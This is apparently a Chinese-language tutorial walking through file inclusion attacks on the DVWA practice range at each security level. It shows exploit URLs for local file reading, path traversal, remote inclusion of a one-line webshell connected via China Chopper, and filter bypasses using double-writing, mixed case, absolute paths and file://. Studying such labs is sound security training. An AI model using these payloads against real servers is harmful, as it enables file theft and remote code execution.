还是以DVWA靶场为例
文件包含:当服务器开启allow_url_include选项时,可以通过某些特性函数如:include() , require() , include_once() , require_once() 利用url去动态地包含文件,若未对文件进行来源审查,就会导致任意文件读取或者任意命令执行。
分为本地文件包含和远程文件包含,远程文件包含必须开启PHP服务器的allow_url_include开关使服务器可以进行远程文件包含。
1.低级别:
首先打开页面源代码
这就是一个简简单单的文件上传界面,并未做任何的过滤。
然后看看文件包含界面的三个文件:
1,2,3的php文件是为了让用户点击服务器包含文件,服务器包含的这几个文件无论是什么后缀名都会以php文件呈现
此时输入url:
而一般情况下Linux的用户和密码信息都会在/etc/password,/etc/shadow下保存。shadow相对高级,所以用超级用户才能打开。
由上图看很明显报错,表明系统的服务器不是Linux系统。但是又发现一个有意思的事,报错信息中出现了一个路径C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\fi\index.php
这不就相当于暴露出来了一些信息
继续深入查看php.ini
http://192.168.111.139/dvwa/php.ini
换一种方式访问:
http://192.168.111.139/dvwa/vulnerabilities/fi/?page=C:\phpstudy\PHPTutorial\WWW\dvwa\php.ini
将这个C:\phpstudy\PHPTutorial\WWW\dvwa\php.ini接到page后面,会发现以下信息:
也打开了原文件,信息泄露。再试试访问phpinfo,果不其然,
http://192.168.111.139/dvwa/phpinfo.php
再次换法访问http://192.168.111.139/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
../../相当于回退了两个目录
接着把page后的参数修改一下,切换到百度;
http://192.168.111.139/dvwa/vulnerabilities/fi/?page=http://www.baidu.com
也可以跳转。
然后写一个一句话木马文件,放到刚才的网站根目录下:
尝试访问一哈http://192.168.111.139/dvwa/vulnerabilities/fi/?page=http://192.168.111.139/1.txt
发现txt文件被当作了php文件执行,配置菜刀:
连接菜刀,
连接成功,将我的电脑里的东西全部暴露出来了。
2.中级别:
先看源码
http://,https://,../ ,\..这四个被str_replace()函数替换成空字符,因此这些东西都无法直接使用了
所以此时应该选择合适的绕过方法:
双写绕过:http://192.168.111.139/dvwa/vulnerabilities/fi/?page=htthttp://p://192.168.111.139/dvwa/php.ini
果不其然也可以打开
大小写绕过:http://可以换成大小写混合版
http://192.168.111.139/dvwa/vulnerabilities/fi/?page=hTtp://192.168.111.139/dvwa/php.ini
绝对路径绕过,比如在C盘下直接创建一个php文件
然后在page后直接访问:http://192.168.111.139/dvwa/vulnerabilities/fi/?page=C:\test.php
也可,所以中级别的包含绕过有三种方法:大小写,双写,绝对路径。
中级别类似于黑名单模式过滤。
3.高级别:
就先随便访问一个路径:http://192.168.111.139/dvwa/vulnerabilities/fi/?page=http://192.168.111.139/dvwa/php.php
虽然明知报错,但只显示了一个界面,连文件路径的报错信息都没了
继续先看源代码:
主要就是这个if条件中的东西。file*有点类似于通配符,fnmatch()感觉起来像匹配 。
大致理解为传入的$file是否匹配file*,成功则true。所以在接下来的文件包含就要以file://....的形式构造URL了。也就是大佬们的说法file协议绕过。
比如访问刚才的test.php:
http://192.168.111.139/dvwa/vulnerabilities/fi/?page=file://C:\test.php
刚才的一句话木马:
http://192.168.111.139/dvwa/vulnerabilities/fi/?page=file://C:\phpStudy\PHPTutorial\WWW\1.php
4.顶级:
先看源码:
这里的代码只包含了include,1,2,3这四个php文件,即所谓的白名单模式。未在白名单上的文件就无法包含。所以白名单模式比较安全,有效防止了文件包含漏洞。顶级和高级都属于白名单模式,不过顶级的过滤条件更加苛刻。
Linux的话其实很像,不过是打开的文件在/var/www/html/下,其余的大同小异。